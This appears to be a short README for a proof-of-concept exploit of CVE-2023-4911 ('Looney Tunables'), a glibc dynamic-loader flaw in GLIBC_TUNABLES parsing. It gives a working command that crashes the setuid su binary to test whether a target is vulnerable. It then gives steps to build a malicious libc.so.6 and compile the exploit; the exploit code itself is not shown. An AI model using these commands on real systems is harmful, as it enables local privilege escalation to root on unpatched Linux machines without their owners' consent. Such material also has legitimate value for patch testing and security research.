This is a PoC of CVE-2023-4911 (a.k.a. "Looney Tunables") exploiting a bug in glibc dynamic loader's GLIBC_TUNABLES environment variable parsing function parse_tunables().
- We can check if target is vulnerable
env -i "GLIBC_TUNABLES=glibc.malloc.mxfast=glibc.malloc.mxfast=A" "Z=`printf '%08192x' 1`" /usr/bin/su --help
- If we get a
Segmentation fault (core dumped)then we are dealing with a vulnerable target.
- Create
libc.so.6file
python3 libc.py
- Compile exploit
gcc exp.c -o exp
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